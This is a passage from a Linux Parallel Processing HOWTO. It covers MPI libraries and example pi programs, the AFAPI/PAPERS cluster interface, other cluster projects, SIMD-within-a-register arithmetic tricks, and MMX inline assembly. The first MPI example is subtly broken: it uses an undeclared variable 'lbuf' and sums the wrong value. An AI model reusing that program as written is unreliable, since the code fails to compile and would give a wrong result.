  • LAM (Local Area Multicomputer) is a full implementation of the MPI 1.1 standard. It allows MPI programs to be executed within an individual Linux system or across a cluster of Linux systems using UDP/TCP socket communication. The system includes simple execution control facilities, as well as a variety of program development and debugging aids. It is freely available from http://www.osc.edu/lam.html.
  • MPICH (MPI CHameleon) is designed as a highly portable full implementation of the MPI 1.1 standard. Like LAM, it allows MPI programs to be executed within an individual Linux system or across a cluster of Linux systems using UDP/TCP socket communication. However, the emphasis is definitely on promoting MPI by providing an efficient, easily retargetable, implementation. To port this MPI implementation, one implements either the five functions of the "channel interface" or, for better performance, the full MPICH ADI (Abstract Device Interface). MPICH, and lots of information about it and porting, are available from http://www.mcs.anl.gov/mpi/mpich/.
  • AFMPI (Aggregate Function MPI) is a subset implementation of the MPI 2.0 standard. This is the one that I wrote. Built on top of the AFAPI, it is designed to showcase low-latency collective communication functions and RMAs, and thus provides only minimal support for MPI data types, communicators, etc. It allows C programs using MPI to run on an individual Linux system or across a cluster connected by AFAPI-capable network hardware. It is freely available from http://garage.ecn.purdue.edu/~papers/.

No matter which of these (or other) MPI implementations one uses, it is fairly simple to perform the most common types of communications.

However, MPI 2.0 incorporates several communication paradigms that are fundamentally different enough so that a programmer using one of them might not even recognize the other coding styles as MPI. Thus, rather than giving a single example program, it is useful to have an example of each of the fundamentally different communication paradigms that MPI supports. All three programs implement the same basic algorithm (from section 1.3) that is used throughout this HOWTO to compute the value of Pi.

The first MPI program uses basic MPI message-passing calls for each processor to send its partial sum to processor 0, which sums and prints the result:

#include <stdlib.h>
#include <stdio.h>
#include <mpi.h>

main(int argc, char **argv)
{
  register double width;
  double sum, lsum;
  register int intervals, i;
  int nproc, iproc;
  MPI_Status status;

  if (MPI_Init(&argc, &argv) != MPI_SUCCESS) exit(1);
  MPI_Comm_size(MPI_COMM_WORLD, &nproc);
  MPI_Comm_rank(MPI_COMM_WORLD, &iproc);
  intervals = atoi(argv[1]);
  width = 1.0 / intervals;
  lsum = 0;
  for (i=iproc; i<intervals; i+=nproc) {
    register double x = (i + 0.5) * width;
    lsum += 4.0 / (1.0 + x * x);
  }
  lsum *= width;
  if (iproc != 0) {
    MPI_Send(&lbuf, 1, MPI_DOUBLE, 0, 0, MPI_COMM_WORLD);
  } else {
    sum = lsum;
    for (i=1; i<nproc; ++i) {
      MPI_Recv(&lbuf, 1, MPI_DOUBLE, MPI_ANY_SOURCE,
               MPI_ANY_TAG, MPI_COMM_WORLD, &status);
      sum += lsum;
    }
    printf("Estimation of pi is %f\n", sum);
  }
  MPI_Finalize();
  return(0);
}

The second MPI version uses collective communication (which, for this particular application, is clearly the most appropriate):

#include <stdlib.h>
#include <stdio.h>
#include <mpi.h>

main(int argc, char **argv)
{
  register double width;
  double sum, lsum;
  register int intervals, i;
  int nproc, iproc;

  if (MPI_Init(&argc, &argv) != MPI_SUCCESS) exit(1);
  MPI_Comm_size(MPI_COMM_WORLD, &nproc);
  MPI_Comm_rank(MPI_COMM_WORLD, &iproc);
  intervals = atoi(argv[1]);
  width = 1.0 / intervals;
  lsum = 0;
  for (i=iproc; i<intervals; i+=nproc) {
    register double x = (i + 0.5) * width;
    lsum += 4.0 / (1.0 + x * x);
  }
  lsum *= width;
  MPI_Reduce(&lsum, &sum, 1, MPI_DOUBLE,
             MPI_SUM, 0, MPI_COMM_WORLD);
  if (iproc == 0) {
    printf("Estimation of pi is %f\n", sum);
  }
  MPI_Finalize();
  return(0);
}

The third MPI version uses the MPI 2.0 RMA mechanism for each processor to add its local lsum into sum on processor 0:

#include <stdlib.h>
#include <stdio.h>
#include <mpi.h>

main(int argc, char **argv)
{
  register double width;
  double sum = 0, lsum;
  register int intervals, i;
  int nproc, iproc;
  MPI_Win sum_win;

  if (MPI_Init(&argc, &argv) != MPI_SUCCESS) exit(1);
  MPI_Comm_size(MPI_COMM_WORLD, &nproc);
  MPI_Comm_rank(MPI_COMM_WORLD, &iproc);
  MPI_Win_create(&sum, sizeof(sum), sizeof(sum),
                 0, MPI_COMM_WORLD, &sum_win);
  MPI_Win_fence(0, sum_win);
  intervals = atoi(argv[1]);
  width = 1.0 / intervals;
  lsum = 0;
  for (i=iproc; i<intervals; i+=nproc) {
    register double x = (i + 0.5) * width;
    lsum += 4.0 / (1.0 + x * x);
  }
  lsum *= width;
  MPI_Accumulate(&lsum, 1, MPI_DOUBLE, 0, 0,
                 1, MPI_DOUBLE, MPI_SUM, sum_win);
  MPI_Win_fence(0, sum_win);
  if (iproc == 0) {
    printf("Estimation of pi is %f\n", sum);
  }
  MPI_Finalize();
  return(0);
}

It is useful to note that the MPI 2.0 RMA mechanism very neatly overcomes any potential problems with the corresponding data structure on various processors residing at different memory locations. This is done by referencing a "window" that implies the base address, protection against out-of-bound accesses, and even address scaling. Efficient implementation is aided by the fact that RMA processing may be delayed until the next MPI_Win_fence. In summary, the RMA mechanism may be a strange cross between distributed shared memory and message passing, but it is a very clean interface that potentially generates very efficient communication.

3.6 AFAPI (Aggregate Function API)

Unlike PVM, MPI, etc., the AFAPI (Aggregate Function Application Program Interface) did not start life as an attempt to build a portable abstract interface layered on top of existing network hardware and software. Rather, AFAPI began as the very hardware-specific low-level support library for PAPERS (Purdue's Adapter for Parallel Execution and Rapid Synchronization; see http://garage.ecn.purdue.edu/~papers/).

PAPERS was discussed briefly in section 3.2; it is a public domain design custom aggregate function network that delivers latencies as low as a few microseconds. However, the important thing about PAPERS is that it was developed as an attempt to build a supercomputer that would be a better target for compiler technology than existing supercomputers. This is qualitatively different from most Linux cluster efforts and PVM/MPI, which generally focus on trying to use standard networks for the relatively few sufficiently coarse-grain parallel applications. The fact that Linux PCs are used as components of PAPERS systems is simply an artifact of implementing prototypes in the most cost-effective way possible.

The need for a common low-level software interface across more than a dozen different prototype implementations was what made the PAPERS library become standardized as AFAPI. However, the model used by AFAPI is inherently simpler and better suited for the finer-grain interactions typical of code compiled by parallelizing compilers or written for SIMD architectures. The simplicity of the model not only makes PAPERS hardware easy to build, but also yields surprisingly efficient AFAPI ports for a variety of other hardware systems, such as SMPs.

AFAPI currently runs on Linux clusters connected using TTL_PAPERS, CAPERS, or WAPERS. It also runs (without OS calls or even bus-lock instructions, see section 2.2) on SMP systems using a System V Shared Memory library called SHMAPERS. A version that runs across Linux clusters using UDP broadcasts on conventional networks (e.g., Ethernet) is under development. All released versions are available from http://garage.ecn.purdue.edu/~papers/. All versions of the AFAPI are designed to be called from C or C++.

The following example program is the AFAPI version of the Pi computation described in section 1.3.

#include <stdlib.h>
#include <stdio.h>
#include "afapi.h"

main(int argc, char **argv)
{
  register double width, sum;
  register int intervals, i;

  if (p_init()) exit(1);

  intervals = atoi(argv[1]);
  width = 1.0 / intervals;

  sum = 0;
  for (i=IPROC; i<intervals; i+=NPROC) {
    register double x = (i + 0.5) * width;
    sum += 4.0 / (1.0 + x * x);
  }

  sum = p_reduceAdd64f(sum) * width;

  if (IPROC == CPROC) {
    printf("Estimation of pi is %f\n", sum);
  }

  p_exit();
  return(0);
}

3.7 Other Cluster Support Libraries

In addition to PVM, MPI, and AFAPI, the following libraries offer features that may be useful in parallel computing using a cluster of Linux systems. These systems are given a lighter treatment in this document simply because, unlike PVM, MPI, and AFAPI, I have little or no direct experience with the use of these systems on Linux clusters. If you find any of these or other libraries to be especially useful, please send email to me at pplinux@ecn.purdue.edu describing what you've found, and I will consider adding an expanded section on that library.

Condor (process migration support)

Condor is a distributed resource management system that can manage large heterogeneous clusters of workstations. Its design has been motivated by the needs of users who would like to use the unutilized capacity of such clusters for their long-running, computation-intensive jobs. Condor preserves a large measure of the originating machine's environment on the execution machine, even if the originating and execution machines do not share a common file system and/or password mechanisms. Condor jobs that consist of a single process are automatically checkpointed and migrated between workstations as needed to ensure eventual completion.

Condor is available at http://www.cs.wisc.edu/condor/. A Linux port exists; more information is available at http://www.cs.wisc.edu/condor/linux/linux.html. Contact condor-admin@cs.wisc.edu for details.

DFN-RPC (German Research Network - Remote Procedure Call)

The DFN-RPC, a (German Research Network Remote Procedure Call) tool, was developed to distribute and parallelize scientific-technical application programs between a workstation and a compute server or a cluster. The interface is optimized for applications written in fortran, but the DFN-RPC can also be used in a C environment. It has been ported to Linux. More information is at ftp://ftp.uni-stuttgart.de/pub/rus/dfn_rpc/README_dfnrpc.html.

DQS (Distributed Queueing System)

Not exactly a library, DQS 3.0 (Distributed Queueing System) is a job queueing system that has been developed and tested under Linux. It is designed to allow both use and administration of a heterogeneous cluster as a single entity. It is available from http://www.scri.fsu.edu/~pasko/dqs.html.

There is also a commercial version called CODINE 4.1.1 (COmputing in DIstributed Network Environments). Information on it is available from http://www.genias.de/genias_welcome.html.

3.8 General Cluster References

Because clusters can be constructed and used in so many different ways, there are quite a few groups that have made interesting contributions. The following are references to various cluster-related projects that may be of general interest. This includes a mix of Linux-specific and generic cluster references. The list is given in alphabetical order.

Beowulf

The Beowulf project, http://cesdis1.gsfc.nasa.gov/beowulf/, centers on production of software for using off-the-shelf clustered workstations based on commodity PC-class hardware, a high-bandwidth cluster-internal network, and the Linux operating system.

Thomas Sterling has been the driving force behind Beowulf, and continues to be an eloquent and outspoken proponent of Linux clustering for scientific computing in general. In fact, many groups now refer to their clusters as "Beowulf class" systems - even if the cluster isn't really all that similar to the official Beowulf design.

Don Becker, working in support of the Beowulf project, has produced many of the network drivers used by Linux in general. Many of these drivers have even been adapted for use in BSD. Don also is responsible for many of these Linux network drivers allowing load-sharing across multiple parallel connections to achieve higher bandwidth without expensive switched hubs. This type of load sharing was the original distinguishing feature of the Beowulf cluster.

Linux/AP+

The Linux/AP+ project, http://cap.anu.edu.au/cap/projects/linux/, is not exactly about Linux clustering, but centers on porting Linux to the Fujitsu AP1000+ and adding appropriate parallel processing enhancements. The AP1000+ is a commercially available SPARC-based parallel machine that uses a custom network with a torus topology, 25 MB/s bandwidth, and 10 microsecond latency... in short, it looks a lot like a SPARC Linux cluster.

Locust

The Locust project, http://www.ecsl.cs.sunysb.edu/~manish/locust/, is building a distributed virtual shared memory system that uses compile-time information to hide message-latency and to reduce network traffic at run time. Pupa is the underlying communication subsystem of Locust, and is implemented using Ethernet to connect 486 PCs under FreeBSD. Linux?

Midway DSM (Distributed Shared Memory)

Midway, http://www.cs.cmu.edu/afs/cs.cmu.edu/project/midway/WWW/HomePage.html, is a software-based DSM (Distributed Shared Memory) system, not unlike TreadMarks. The good news is that it uses compile-time aids rather than relatively slow page-fault mechanisms, and it is free. The bad news is that it doesn't run on Linux clusters.

Mosix

MOSIX modifies the BSDI BSD/OS to provide dynamic load balancing and preemptive process migration across a networked group of PCs. This is nice stuff not just for parallel processing, but for generally using a cluster much like a scalable SMP. Will there be a Linux version? Look at http://www.cs.huji.ac.il/mosix/ for more information.

NOW (Network Of Workstations)

The Berkeley NOW (Network Of Workstations) project, http://now.cs.berkeley.edu/, has led much of the push toward parallel computing using networks of workstations. There is a lot work going on here, all aimed toward "demonstrating a practical 100 processor system in the next few years." Alas, they don't use Linux.

Parallel Processing Using Linux

The parallel processing using Linux WWW site, http://yara.ecn.purdue.edu/~pplinux/, is the home of this HOWTO and many related documents including online slides for a full-day tutorial. Aside from the work on the PAPERS project, the Purdue University School of Electrical and Computer Engineering generally has been a leader in parallel processing; this site was established to help others apply Linux PCs for parallel processing.

Since Purdue's first cluster of Linux PCs was assembled in February 1994, there have been many Linux PC clusters assembled at Purdue, including several with video walls. Although these clusters used 386, 486, and Pentium systems (no Pentium Pro systems), Intel recently awarded Purdue a donation which will allow it to construct multiple large clusters of Pentium II systems (with as many as 165 machines planned for a single cluster). Although these clusters all have/will have PAPERS networks, most also have conventional networks.

Pentium Pro Cluster Workshop

In Des Moines, Iowa, April 10-11, 1997, AMES Laboratory held the Pentium Pro Cluster Workshop. The WWW site from this workshop, http://www.scl.ameslab.gov/workshops/PPCworkshop.html, contains a wealth of PC cluster information gathered from all the attendees.

TreadMarks DSM (Distributed Shared Memory)

DSM (Distributed Shared Memory) is a technique whereby a message-passing system can appear to behave as an SMP. There are quite a few such systems, most of which use the OS page-fault mechanism to trigger message transmissions. TreadMarks, http://www.cs.rice.edu/~willy/TreadMarks/overview.html, is one of the more efficient of such systems and does run on Linux clusters. The bad news is "TreadMarks is being distributed at a small cost to universities and nonprofit institutions." For more information about the software, contact treadmarks@ece.rice.edu.

U-Net (User-level NETwork interface architecture)

The U-Net (User-level NETwork interface architecture) project at Cornell, http://www2.cs.cornell.edu/U-Net/Default.html, attempts to provide low-latency and high-bandwidth using commodity network hardware by by virtualizing the network interface so that applications can send and receive messages without operating system intervention. U-Net runs on Linux PCs using a DECchip DC21140 based Fast Ethernet card or a Fore Systems PCA-200 (not PCA-200E) ATM card.

WWT (Wisconsin Wind Tunnel)

There is really quite a lot of cluster-related work at Wisconsin. The WWT (Wisconsin Wind Tunnel) project, http://www.cs.wisc.edu/~wwt/, is doing all sorts of work toward developing a "standard" interface between compilers and the underlying parallel hardware. There is the Wisconsin COW (Cluster Of Workstations), Cooperative Shared Memory and Tempest, the Paradyn Parallel Performance Tools, etc. Unfortunately, there is not much about Linux.


Linux Parallel Processing HOWTO: SIMD Within A Register (e.g., using MMX)

 Next Previous Contents

4. SIMD Within A Register (e.g., using MMX)

SIMD (Single Instruction stream, Multiple Data stream) Within A Register (SWAR) isn't a new idea. Given a machine with k-bit registers, data paths, and function units, it has long been known that ordinary register operations can function as SIMD parallel operations on n, k/n-bit, integer field values. However, it is only with the recent push for multimedia that the 2x to 8x speedup offered by SWAR techniques has become a concern for mainstream computing. The 1997 versions of most microprocessors incorporate hardware support for SWAR:

  • AMD K6 MMX (MultiMedia eXtensions)
  • Cyrix M2 MMX (MultiMedia eXtensions)
  • Digital Alpha MAX (MultimediA eXtensions)
  • Hewlett-Packard PA-RISC MAX (Multimedia Acceleration eXtensions)
  • Intel Pentium II & Pentium with MMX (MultiMedia eXtensions)
  • Microunity Mediaprocessor SIGD (Single Instruction on Groups of Data)
  • MIPS Digital Media eXtension (MDMX, pronounced Mad Max)
  • Sun SPARC V9 VIS (Visual Instruction Set)

There are a few holes in the hardware support provided by the new microprocessors, quirks like only supporting some operations for some field sizes. It is important to remember, however, that you don't need any hardware support for many SWAR operations to be efficient. For example, bitwise operations are not affected by the logical partitioning of a register.

4.1 SWAR: What Is It Good For?

Although every modern processor is capable of executing with at least some SWAR parallelism, the sad fact is that even the best SWAR-enhanced instruction sets do not support very general-purpose parallelism. In fact, many people have noticed that the performance difference between Pentium and "Pentium with MMX technology" is often due to things like the larger L1 cache that coincided with appearance of MMX. So, realistically, what is SWAR (or MMX) good for?

  • Integers only, the smaller the better. Two 32-bit values fit in a 64-bit MMX register, but so do eight one-byte characters or even an entire chess board worth of one-bit values. Note: there will be a floating-point version of MMX, although very little has been said about it at this writing. Cyrix has posted a set of slides, ftp://ftp.cyrix.com/developr/mpf97rm.pdf, that includes a few comments about MMFP. Apparently, MMFP will support two 32-bit floating-point numbers to be packed into a 64-bit MMX register; combining this with two MMFP pipelines will yield four single-precision FLOPs per clock.
  • SIMD or vector-style parallelism. The same operation is applied to all fields simultaneously. There are ways to nullify the effects on selected fields (i.e., equivalent to SIMD enable masking), but they complicate coding and hurt performance.
  • Localized, regular (preferably packed), memory reference patterns. SWAR in general, and MMX in particular, are terrible at randomly-ordered accesses; gathering a vector x[y] (where y is an index array) is prohibitively expensive.

These are serious restrictions, but this type of parallelism occurs in many parallel algorithms - not just multimedia applications. For the right type of algorithm, SWAR is more effective than SMP or cluster parallelism... and it doesn't cost anything to use it.

4.2 Introduction To SWAR Programming

The basic concept of SWAR, SIMD Within A Register, is that operations on word-length registers can be used to speed-up computations by performing SIMD parallel operations on n k/n-bit field values. However, making use of SWAR technology can be awkward, and some SWAR operations are actually more expensive than the corresponding sequences of serial operations because they require additional instructions to enforce the field partitioning.

To illustrate this point, let's consider a greatly simplified SWAR mechanism that manages four 8-bit fields within each 32-bit register. The values in two registers might be represented as:

         PE3     PE2     PE1     PE0
      +-------+-------+-------+-------+
Reg0  | D 7:0 | C 7:0 | B 7:0 | A 7:0 |
      +-------+-------+-------+-------+
Reg1  | H 7:0 | G 7:0 | F 7:0 | E 7:0 |
      +-------+-------+-------+-------+

This simply indicates that each register is viewed as essentially a vector of four independent 8-bit integer values. Alternatively, think of A and E as values in Reg0 and Reg1 of processing element 0 (PE0), B and F as values in PE1's registers, and so forth.

The remainder of this document briefly reviews the basic classes of SIMD parallel operations on these integer vectors and how these functions can be implemented.

Polymorphic Operations

Some SWAR operations can be performed trivially using ordinary 32-bit integer operations, without concern for the fact that the operation is really intended to operate independently in parallel on these 8-bit fields. We call any such SWAR operation polymorphic, since the function is unaffected by the field types (sizes).

Testing if any field is non-zero is polymorphic, as are all bitwise logic operations. For example, an ordinary bitwise-and operation (C's & operator) performs a bitwise and no matter what the field sizes are. A simple bitwise and of the above registers yields:

          PE3       PE2       PE1       PE0
      +---------+---------+---------+---------+
Reg2  | D&H 7:0 | C&G 7:0 | B&F 7:0 | A&E 7:0 |
      +---------+---------+---------+---------+

Because the bitwise and operation always has the value of result bit k affected only by the values of the operand bit k values, all field sizes are supported using the same single instruction.

Partitioned Operations

Unfortunately, lots of important SWAR operations are not polymorphic. Arithmetic operations such as add, subtract, multiply, and divide are all subject to carry/borrow interactions between fields. We call such SWAR operations partitioned, because each such operation must effectively partition the operands and result to prevent interactions between fields. However, there are actually three different methods that can be used to achieve this effect.

Partitioned Instructions

Perhaps the most obvious approach to implementing partitioned operations is to provide hardware support for "partitioned parallel instructions" that cut the carry/borrow logic between fields. This approach can yield the highest performance, but it requires a change to the processor's instruction set and generally places many restrictions on field size (e.g., 8-bit fields might be supported, but not 12-bit fields).

The AMD/Cyrix/Intel MMX, Digital MAX, HP MAX, and Sun VIS all implement restricted versions of partitioned instructions. Unfortunately, these different instruction set extensions have significantly different restrictions, making algorithms somewhat non-portable between them. For example, consider the following sampling of partitioned operations:

  Instruction           AMD/Cyrix/Intel MMX   DEC MAX   HP MAX   Sun VIS
+---------------------+---------------------+---------+--------+---------+
| Absolute Difference |                     |       8 |        |       8 |
+---------------------+---------------------+---------+--------+---------+
| Merge Maximum       |                     |   8, 16 |        |         |
+---------------------+---------------------+---------+--------+---------+
| Compare             |           8, 16, 32 |         |        |  16, 32 |
+---------------------+---------------------+---------+--------+---------+
| Multiply            |                  16 |         |        |    8x16 |
+---------------------+---------------------+---------+--------+---------+
| Add                 |           8, 16, 32 |         |     16 |  16, 32 |
+---------------------+---------------------+---------+--------+---------+

In the table, the numbers indicate the field sizes, in bits, for which each operation is supported. Even though the table omits many instructions including all the more exotic ones, it is clear that there are many differences. The direct result is that high-level languages (HLLs) really are not very effective as programming models, and portability is generally poor.

Unpartitioned Operations With Correction Code

Implementing partitioned operations using partitioned instructions can certainly be efficient, but what do you do if the partitioned operation you need is not supported by the hardware? The answer is that you use a series of ordinary instructions to perform the operation with carry/borrow across fields, and then correct for the undesired field interactions.

This is a purely software approach, and the corrections do introduce overhead, but it works with fully general field partitioning. This approach is also fully general in that it can be used either to fill gaps in the hardware support for partitioned instructions, or it can be used to provide full functionality for target machines that have no hardware support at all. In fact, by expressing the code sequences in a language like C, this approach allows SWAR programs to be fully portable.

The question immediately arises: precisely how inefficient is it to simulate SWAR partitioned operations using unpartitioned operations with correction code? Well, that is certainly the $64k question... but many operations are not as difficult as one might expect.

Consider implementing a four-element 8-bit integer vector add of two source vectors, x+y, using ordinary 32-bit operations.

An ordinary 32-bit add might actually yield the correct result, but not if any 8-bit field carries into the next field. Thus, our goal is simply to ensure that such a carry does not occur. Because adding two k-bit fields generates an at most k+1 bit result, we can ensure that no carry occurs by simply "masking out" the most significant bit of each field. This is done by bitwise anding each operand with 0x7f7f7f7f and then performing an ordinary 32-bit add.

t = ((x & 0x7f7f7f7f) + (y & 0x7f7f7f7f));

That result is correct... except for the most significant bit within each field. Computing the correct value for each field is simply a matter of doing two 1-bit partitioned adds of the most significant bits from x and y to the 7-bit carry result which was computed for t. Fortunately, a 1-bit partitioned add is implemented by an ordinary exclusive or operation. Thus, the result is simply:

(t ^ ((x ^ y) & 0x80808080))

Ok, well, maybe that isn't so simple. After all, it is six operations to do just four adds. However, notice that the number of operations is not a function of how many fields there are... so, with more fields, we get speedup. In fact, we may get speedup anyway simply because the fields were loaded and stored in a single (integer vector) operation, register availability may be improved, and there are fewer dynamic code scheduling dependencies (because partial word references are avoided).

Controlling Field Values

While the other two approaches to partitioned operation implementation both center on getting the maximum space utilization for the registers, it can be computationally more efficient to instead control the field values so that inter-field carry/borrow events should never occur. For example, if we know that all the field values being added are such that no field overflow will occur, a partitioned add operation can be implemented using an ordinary add instruction; in fact, given this constraint, an ordinary add instruction appears polymorphic, and is usable for any field sizes without correction code. The question thus becomes how to ensure that field values will not cause carry/borrow events.

One way to ensure this property is to implement partitioned instructions that can restrict the range of field values. The Digital MAX vector minimum and maximum instructions can be viewed as hardware support for clipping field values to avoid inter-field carry/borrow.

However, suppose that we do not have partitioned instructions that can efficiently restrict the range of field values... is there a sufficient condition that can be cheaply imposed to ensure carry/borrow events will not interfere with adjacent fields? The answer lies in analysis of the arithmetic properties. Adding two k-bit numbers generates a result with at most k+1 bits; thus, a field of k+1 bits can safely contain such an operation despite using ordinary instructions.

Thus, suppose that the 8-bit fields in our earlier example are now 7-bit fields with 1-bit "carry/borrow spacers":

              PE3          PE2          PE1          PE0
      +----+-------+----+-------+----+-------+----+-------+
Reg0  | D' | D 6:0 | C' | C 6:0 | B' | B 6:0 | A' | A 6:0 |
      +----+-------+----+-------+----+-------+----+-------+

A vector of 7-bit adds is performed as follows. Let us assume that, prior to the start of any partitioned operation, all the carry spacer bits (A', B', C', and D') have the value 0. By simply executing an ordinary add operation, all the fields obtain the correct 7-bit values; however, some spacer bit values might now be 1. We can correct this by just one more conventional operation, masking-out the spacer bits. Our 7-bit integer vector add, x+y, is thus:

((x + y) & 0x7f7f7f7f)

This is just two instructions for four adds, clearly yielding good speedup.

The sharp reader may have noticed that setting the spacer bits to 0 does not work for subtract operations. The correction is, however, remarkably simple. To compute x-y, we simply ensure the initial condition that the spacers in x are all 1, while the spacers in y are all 0. In the worst case, we would thus get:

(((x | 0x80808080) - y) & 0x7f7f7f7f)

However, the additional bitwise or operation can often be optimized out by ensuring that the operation generating the value for x used | 0x80808080 rather than & 0x7f7f7f7f as the last step.

Which method should be used for SWAR partitioned operations? The answer is simply "whichever yields the best speedup." Interestingly, the ideal method to use may be different for different field sizes within the same program running on the same machine.

Communication & Type Conversion Operations

Although some parallel computations, including many operations on image pixels, have the property that the ith value in a vector is a function only of values that appear in the ith position of the operand vectors, this is generally not the case. For example, even pixel operations such as smoothing require values from adjacent pixels as operands, and transformations like FFTs require more complex (less localized) communication patterns.

It is not difficult to efficiently implement 1-dimensional nearest neighbor communication for SWAR using unpartitioned shift operations. For example, to move a value from PE i to PE(i+1), a simple shift operation suffices. If the fields are 8-bits in length, we would use:

(x << 8)

Still, it isn't always quite that simple. For example, to move a value from PE i to PE(i-1), a simple shift operation might suffice... but the C language does not specify if shifts right preserve the sign bit, and some machines only provide signed shift right. Thus, in the general case, we must explicitly zero the potentially replicated sign bits:

((x >> 8) & 0x00ffffff)

Adding "wrap-around connections" is also reasonably efficient using unpartitioned shifts. For example, to move a value from PE i to PE(i+1) with wraparound:

((x << 8) | ((x >> 24) & 0x000000ff))

The real problem comes when more general communication patterns must be implemented. Only the HP MAX instruction set supports arbitrary rearrangement of fields with a single instruction, which is called Permute. This Permute instruction is really misnamed; not only can it perform an arbitrary permutation of the fields, but it also allows repetition. In short, it implements an arbitrary x[y] operation.

Unfortunately, x[y] is very difficult to implement without such an instruction. The code sequence is generally both long and inefficient; in fact, it is sequential code. This is very disappointing. The relatively high speed of x[y] operations in the MasPar MP1/MP2 and Thinking Machines CM1/CM2/CM200 SIMD supercomputers was one of the key reasons these machines performed well. However, x[y] has always been slower than nearest neighbor communication, even on those supercomputers, so many algorithms have been designed to minimize the need for x[y] operations. In short, without hardware support, it is probably best to develop SWAR algorithms as though x[y] wasn't legal... or at least isn't cheap.

Recurrence Operations (Reductions, Scans, etc.)

A recurrence is a computation in which there is an apparently sequential relationship between values being computed. However, if these recurrences involve associative operations, it may be possible to recode the computation using a tree-structured parallel algorithm.

The most common type of parallelizable recurrence is probably the class known as associative reductions. For example, to compute the sum of a vector's values, one commonly writes purely sequential C code like:

t = 0;
for (i=0; i<MAX; ++i) t += x[i];

However, the order of the additions is rarely important. Floating point and saturation math can yield different answers if the order of additions is changed, but ordinary wrap-around integer additions will yield the same results independent of addition order. Thus, we can re-write this sequence into a tree-structured parallel summation in which we first add pairs of values, then pairs of those partial sums, and so forth, until a single final sum results. For a vector of four 8-bit values, just two addition steps are needed; the first step does two 8-bit adds, yielding two 16-bit result fields (each containing a 9-bit result):

t = ((x & 0x00ff00ff) + ((x >> 8) & 0x00ff00ff));

The second step adds these two 9-bit values in 16-bit fields to produce a single 10-bit result:

((t + (t >> 16)) & 0x000003ff)

Actually, the second step performs two 16-bit field adds... but the top 16-bit add is meaningless, which is why the result is masked to a single 10-bit result value.

Scans, also known as "parallel prefix" operations, are somewhat harder to implement efficiently. This is because, unlike reductions, scans produce partitioned results. For this reason, scans can be implemented using a fairly obvious sequence of partitioned operations.

4.3 MMX SWAR Under Linux

For Linux, IA32 processors are our primary concern. The good news is that AMD, Cyrix, and Intel all implement the same MMX instructions. However, MMX performance varies; for example, the K6 has only one MMX pipeline - the Pentium with MMX has two. The only really bad news is that Intel is still running those stupid MMX commercials.... ;-)

There are really three approaches to using MMX for SWAR:

  1. Use routines from an MMX library. In particular, Intel has developed several "performance libraries," http://developer.intel.com/drg/tools/ad.htm, that offer a variety of hand-optimized routines for common multimedia tasks. With a little effort, many non-multimedia algorithms can be reworked to enable some of the most compute-intensive portions to be implemented using one or more of these library routines. These libraries are not currently available for Linux, but could be ported.
  2. Use MMX instructions directly. This is somewhat complicated by two facts. The first problem is that MMX might not be available on the processor, so an alternative implementation must also be provided. The second problem is that the IA32 assembler generally used under Linux does not currently recognize MMX instructions.
  3. Use a high-level language or module compiler that can directly generate appropriate MMX instructions. Such tools are currently under development, but none is yet fully functional under Linux. For example, at Purdue University ( http://dynamo.ecn.purdue.edu/~hankd/SWAR/) we are currently developing a compiler that will take functions written in an explicitly parallel C dialect and will generate SWAR modules that are callable as C functions, yet make use of whatever SWAR support is available, including MMX. The first prototype module compilers were built in Fall 1996, however, bringing this technology to a usable state is taking much longer than was originally expected.

In summary, MMX SWAR is still awkward to use. However, with a little extra effort, the second approach given above can be used now. Here are the basics:

  1. You cannot use MMX if your processor does not support it. The following GCC code can be used to test if MMX is supported on your processor. It returns 0 if not, non-zero if it is supported.
    inline extern
int mmx_init(void)
{
        int mmx_available;

        __asm__ __volatile__ (
                /* Get CPU version information */
                "movl $1, %%eax\n\t"
                "cpuid\n\t"
                "andl $0x800000, %%edx\n\t"
                "movl %%edx, %0"
                : "=q" (mmx_available)
                : /* no input */
        );
        return mmx_available;
}
  2. An MMX register essentially holds one of what GCC would call an unsigned long long. Thus, memory-based variables of this type become the communication mechanism between your MMX modules and the C programs that call them. Alternatively, you can declare your MMX data as any 64-bit aligned data structure (it is convenient to ensure 64-bit alignment by declaring your data type as a union with an unsigned long long field).
  3. If MMX is available, you can write your MMX code using the .byte assembler directive to encode each instruction. This is painful stuff to do by hand, but not difficult for a compiler to generate. For example, the MMX instruction PADDB MM0,MM1 could be encoded as the GCC in-line assembly code:
    __asm__ __volatile__ (".byte 0x0f, 0xfc, 0xc1\n\t");
    Remember that MMX uses some of the same hardware that is used for floating point operations, so code intermixed with MMX code must not invoke any floating point operations. The floating point stack also should be empty before executing any MMX code; the floating point stack is normally empty at the beginning of a C function that does not use floating point.
  4. Exit your MMX code by executing the EMMS instruction, which can be encoded as:
    __asm__ __volatile__ (".byte 0x0f, 0x77\n\t");

If the above looks very awkward and crude, it is. However, MMX is still quite young.... future versions of this document will offer better ways to program MMX SWAR.


Linux Parallel Processing HOWTO: Linux-Hosted Attached Processors

 Next Previous Contents

5. Linux-Hosted Attached Processors

Although this approach has recently fallen out of favor, it is virtually impossible for other parallel processing methods to achieve the low cost and high performance possible by using a Linux system to host an attached parallel computing system. The problem is that very little software support is available; you are pretty much on your own.

5.1 A Linux PC Is A Good Host

In general, attached parallel processors tend to be specialized to perform specific types of functions.

Before becoming discouraged by the fact that you are somewhat on your own, it is useful to understand that, although it may be difficult to get a Linux PC to appropriately host a particular system, a Linux PC is one of the few platforms well suited to this type of use.

PCs make a good host for two primary reasons. The first is the cheap and easy expansion capability; resources such as more memory, disks, networks, etc., are trivially added to a PC. The second is the ease of interfacing. Not only are ISA and PCI bus prototyping cards widely available, but the parallel port offers reasonable performance in a completely non-invasive interface. The IA32 separate I/O space also facilitates interfacing by providing hardware I/O address protection at the level of individual I/O port addresses.

Linux also makes a good host OS. The free availability of full source code, and extensive "hacking" guides, obviously are a tremendous help. However, Linux also provides good near-real-time scheduling, and there is even a true real-time version of Linux at http://luz.cs.nmt.edu/~rtlinux/. Perhaps even more important is the fact that while providing a full UNIX environment, Linux can support development tools that were written to run under Microsoft DOS and/or Windows. MSDOS programs can execute within a Linux process using dosemu to provide a protected virtual machine that can literally run MSDOS. Linux support for Windows 3.xx programs is even more direct: free software such as wine, http://www.linpro.no/wine/, simulates Windows 3.11 well enough for most programs to execute correctly and efficiently within a UNIX/X environment.

The following two sections give examples of attached parallel systems that I'd like to see supported under Linux....

5.2 Did You DSP That?

There is a thriving market for high-performance DSP (Digital Signal Processing) processors. Although these chips were generally designed to be embedded in application-specific systems, they also make great attached parallel computers. Why?

